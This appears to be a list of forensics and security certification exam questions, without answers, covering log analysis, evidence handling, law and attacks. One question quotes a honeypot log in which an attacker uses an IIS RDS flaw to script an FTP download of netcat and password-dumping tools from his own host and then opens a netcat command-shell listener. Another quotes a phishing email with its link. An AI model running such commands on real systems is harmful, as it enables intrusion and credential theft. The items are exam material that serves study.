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When analyzing logs, it is important that the clocks of all the network devices are synchronized. Which protocol will help in synchronizing these clocks?
What must an attorney do first before you are called to testify as an expert?
Which Event Correlation approach assumes and predicts what an attacker can do next after the attack by studying statistics and probability?
Identify the term that refers to individuals who, by virtue of their knowledge and expertise, express an independent opinion on a matter related to a case based on the information that is provided.
Which of the following is a non-zero data that an application allocates on a hard disk cluster in systems running on Windows OS?
Amelia has got an email from a well-reputed company stating in the subject line that she has won a prize money, whereas the email body says that she has to pay a certain amount for being eligible for the contest. Which of the following acts does the email breach?
When reviewing web logs, you see an entry for resource not found in the HTTP status code field.
What is the actual error code that you would see in the log for resource not found?
What type of analysis helps to identify the time and sequence of events in an investigation?
John is working on his company policies and guidelines. The section he is currently working on covers company documents; how they should be handled, stored, and eventually destroyed. John is concerned about the process whereby outdated documents are destroyed. What type of shredder should John write in the guidelines to be used when destroying documents?
In handling computer-related incidents, which IT role should be responsible for recovery, containment, and prevention to constituents?
Which of the following tool enables a user to reset his/her lost admin password in a Windows system?
Lance wants to place a honeypot on his network. Which of the following would be your recommendations?
The objective of this act was to protect consumers’ personal financial information held by financial institutions and their service providers.
The efforts to obtain information before a trail by demanding documents, depositions, questioned and answers written under oath, written requests for admissions of fact and examination of the scene is a description of what legal term?
You have been called in to help with an investigation of an alleged network intrusion. After questioning the members of the company IT department, you search through the server log files to find any trace of the intrusion. After that you decide to telnet into one of the company routers to see if there is any evidence to be found. While connected to the router, you see some unusual activity and believe that the attackers are currently connected to that router. You start up an ethereal session to begin capturing traffic on the router that could be used in the investigation. At what layer of the OSI model are you monitoring while watching traffic to and from the router?
Harold is a computer forensics investigator working for a consulting firm out of Atlanta Georgia. Harold is called upon to help with a corporate espionage case in Miami Florida. Harold assists in the investigation by pulling all the data from the computers allegedly used in the illegal activities. He finds that two suspects in the company where stealing sensitive corporate information and selling it to competing companies. From the email and instant messenger logs recovered, Harold has discovered that the two employees notified the buyers by writing symbols on the back of specific stop signs. This way, the buyers knew when and where to meet with the alleged suspects to buy the stolen material. What type of steganography did these two suspects use?
Which of the following commands shows you all of the network services running on Windows-based servers?
Linux operating system has two types of typical bootloaders namely LILO (Linux Loader) and GRUB (Grand Unified Bootloader). In which stage of the booting process do the bootloaders become active?
Steve, a forensic investigator, was asked to investigate an email incident in his organization. The organization has Microsoft Exchange Server deployed for email communications. Which among the following files will Steve check to analyze message headers, message text, and standard attachments?
A state department site was recently attacked and all the servers had their disks erased. The incident response team sealed the area and commenced investigation. During evidence collection they came across a zip disks that did not have the standard labeling on it. The incident team ran the disk on an isolated system and found that the system disk was accidentally erased. They decided to call in the FBI for further investigation. Meanwhile, they short listed possible suspects including three summer interns. Where did the incident team go wrong?
The police believe that Melvin Matthew has been obtaining unauthorized access to computers belonging to numerous computer software and computer operating systems manufacturers, cellular telephone manufacturers, Internet Service Providers and Educational Institutions. They also suspect that he has been stealing, copying and misappropriating proprietary computer software belonging to the several victim companies. What is preventing the police from breaking down the suspects door and searching his home and seizing all of his computer equipment if they have not yet obtained a warrant?
You are assisting in the investigation of a possible Web Server Hack. The company who called you stated that customers reported to them that whenever they entered the web address of the company in their browser, what they received was a porno graphic web site. The company checked the web server and nothing appears wrong. When you type in the IP address of the web site in your browser everything appears normal. What is the name of the attack that affects the DNS cache of the name resolution servers, resulting in those servers directing users to the wrong web site?
Jack Smith is a forensics investigator who works for Mason Computer Investigation Services. He is investigating a computer that was infected by Ramen Virus.
He runs the netstat command on the machine to see its current connections. In the following screenshot, what do the 0.0.0.0 IP addresses signify?
The use of warning banners helps a company avoid litigation by overcoming an employee assumed __________________________. When connecting to the company's intranet, network or Virtual Private Network(VPN) and will allow the company's investigators to monitor, search and retrieve information stored within the network.
You just passed your ECSA exam and are about to start your first consulting job running security audits for a financial institution in Los Angeles. The IT manager of the company you will be working for tries to see if you remember your ECSA class. He asks about the methodology you will be using to test the company's network. How would you answer?
Which file is a sequence of bytes organized into blocks understandable by the system’s linker?
When marking evidence that has been collected with the “aaa/ddmmyy/nnnn/zz” format, what does the “nnnn” denote?
An expert witness is a __________________ who is normally appointed by a party to assist the formulation and preparation of a party’s claim or defense.
Smith, as a part his forensic investigation assignment, seized a mobile device. He was asked to recover the Subscriber Identity Module (SIM card) data in the mobile device. Smith found that the SIM was protected by a Personal Identification Number (PIN) code, but he was also aware that people generally leave the PIN numbers to the defaults or use easily guessable numbers such as 1234. He made three unsuccessful attempts, which blocked the SIM card. What can Jason do in this scenario to reset the PIN and access SIM data?
The process of restarting a computer that is already turned on through the operating system is called?
When a file is deleted by Windows Explorer or through the MS-DOS delete command, the operating system inserts _______________ in the first letter position of the filename in the FAT database.
After passing her CEH exam, Carol wants to ensure that her network is completely secure. She implements a DMZ, stateful firewall, NAT, IPSEC, and a packet filtering firewall. Since all security measures were taken, none of the hosts on her network can reach the Internet. Why is that?
Windows identifies which application to open a file with by examining which of the following?
The following excerpt is taken from a honeypot log that was hosted at lab.wiretrip.net. Snort reported Unicode attacks from 213.116.251.162. The File Permission Canonicalization vulnerability (UNICODE attack) allows scripts to be run in arbitrary folders that do not normally have the right to run scripts. The attacker tries a Unicode attack and eventually succeeds in displaying boot.ini.
He then switches to playing with RDS, via msadcs.dll. The RDS vulnerability allows a malicious user to construct SQL statements that will execute shell commands (such as CMD.EXE) on the IIS server. He does a quick query to discover that the directory exists, and a query to msadcs.dll shows that it is functioning correctly. The attacker makes a RDS query which results in the commands run as shown below.
"cmd1.exe /c open 213.116.251.162 >ftpcom"
"cmd1.exe /c echo johna2k >>ftpcom"
"cmd1.exe /c echo haxedj00 >>ftpcom"
"cmd1.exe /c echo get nc.exe >>ftpcom"
"cmd1.exe /c echo get pdump.exe >>ftpcom"
"cmd1.exe /c echo get samdump.dll >>ftpcom"
"cmd1.exe /c echo quit >>ftpcom"
"cmd1.exe /c ftp -s:ftpcom"
"cmd1.exe /c nc -l -p 6969 -e cmd1.exe"
What can you infer from the exploit given?
You setup SNMP in multiple offices of your company. Your SNMP software manager is not receiving data from other offices like it is for your main office. You suspect that firewall changes are to blame. What ports should you open for SNMP to work through Firewalls? (Choose two.)
What information do you need to recover when searching a victim’s computer for a crime committed with specific e-mail message?
Chris has been called upon to investigate a hacking incident reported by one of his clients. The company suspects the involvement of an insider accomplice in the attack. Upon reaching the incident scene, Chris secures the physical area, records the scene using visual media. He shuts the system down by pulling the power plug so that he does not disturb the system in any way. He labels all cables and connectors prior to disconnecting any. What do you think would be the next sequence of events?
In a forensic examination of hard drives for digital evidence, what type of user is most likely to have the most file slack to analyze?
As a part of the investigation, Caroline, a forensic expert, was assigned the task to examine the transaction logs pertaining to a database named Transfers. She used SQL Server Management Studio to collect the active transaction log files of the database. Caroline wants to extract detailed information on the logs, including AllocUnitId, page id, slot id, etc. Which of the following commands does she need to execute in order to extract the desired information?
Examination of a computer by a technically unauthorized person will almost always result in:
Pick the statement which does not belong to the Rule 804. Hearsay Exceptions; Declarant Unavailable.
Self-Monitoring, Analysis, and Reporting Technology (SMART) is built into the hard drives to monitor and report system activity. Which of the following is included in the report generated by SMART?
Adam, a forensic investigator, is investigating an attack on Microsoft Exchange Server of a large organization. As the first step of the investigation, he examined the PRIV.EDB file and found the source from where the mail originated and the name of the file that disappeared upon execution. Now, he wants to examine the MIME stream content. Which of the following files is he going to examine?
To reach a bank web site, the traffic from workstations must pass through a firewall. You have been asked to review the firewall configuration to ensure that workstations in network 10.10.10.0/24 can only reach the bank web site 10.20.20.1 using https. Which of the following firewall rules meets this requirement?
Which of the following components within the android architecture stack take care of displaying windows owned by different applications?
Which rule requires an original recording to be provided to prove the content of a recording?
What is the first step taken in an investigation for laboratory forensic staff members?
Which US law does the interstate or international transportation and receiving of child pornography fall under?
Which of the following tool can the investigator use to analyze the network to detect Trojan activities?
You have compromised a lower-level administrator account on an Active Directory network of a small company in Dallas, Texas. You discover Domain Controllers through enumeration. You connect to one of the Domain Controllers on port 389 using ldp.exe. What are you trying to accomplish here?
A(n) _____________________ is one that's performed by a computer program rather than the attacker manually performing the steps in the attack sequence.
Harold is a security analyst who has just run the rdisk /s command to grab the backup SAM files on a computer. Where should Harold navigate on the computer to find the file?
If an attacker's computer sends an IPID of 31400 to a zombie computer on an open port in IDLE scanning, what will be the response?
A packet is sent to a router that does not have the packet destination address in its route table.
How will the packet get to its proper destination?
Why should you note all cable connections for a computer you want to seize as evidence?
You are working as a Computer forensics investigator for a corporation on a computer abuse case. You discover evidence that shows the subject of your investigation is also embezzling money from the company. The company CEO and the corporate legal counsel advise you to contact law enforcement and provide them with the evidence that you have found. The law enforcement officer that responds requests that you put a network sniffer on your network and monitor all traffic to the subject’s computer. You inform the officer that you will not be able to comply with that request because doing so would:
Microsoft Outlook maintains email messages in a proprietary format in what type of file?
Which of the following data structures stores attributes of a process, as well as pointers to other attributes and data structures?
Under confession, an accused criminal admitted to encrypting child pornography pictures and then hiding them within other pictures. What technique did the accused criminal employ?
Which forensic investigation methodology believes that criminals commit crimes solely to benefit their criminal enterprises?
After attending a CEH security seminar, you make a list of changes you would like to perform on your network to increase its security. One of the first things you change is to switch the RestrictAnonymous setting from 0 to 1 on your servers. This, as you were told, would prevent anonymous users from establishing a null session on the server. Using Userinfo tool mentioned at the seminar, you succeed in establishing a null session with one of the servers. Why is that?
Which of the following Registry components include offsets to other cells as well as the LastWrite time for the key?
Before performing a logical or physical search of a drive in Encase, what must be added to the program?
Smith is an IT technician that has been appointed to his company's network vulnerability assessment team. He is the only IT employee on the team. The other team members include employees from
Accounting, Management, Shipping, and Marketing. Smith and the team members are having their first meeting to discuss how they will proceed. What is the first step they should do to create the network
vulnerability assessment plan?
Data Files contain Multiple Data Pages, which are further divided into Page Header, Data Rows, and Offset Table. Which of the following is true for Data Rows?
Lynne receives the following email:
Dear lynne@gmail.com! We are sorry to inform you that your ID has been temporarily frozen due to incorrect or missing information saved at 2016/11/10 20:40:24
You have 24 hours to fix this problem or risk to be closed permanently!
To proceed Please Connect >> My Apple ID
Thank You The link to My Apple ID shows http://byggarbetsplatsen.se/backup/signon/
What type of attack is this?
Which of the following examinations refers to the process of providing the opposing side in a trial the opportunity to question a witness?
What is the framework used for application development for iOS-based mobile devices?
Which command can provide the investigators with details of all the loaded modules on a Linux-based system?
TESTED 02 Jul 2025
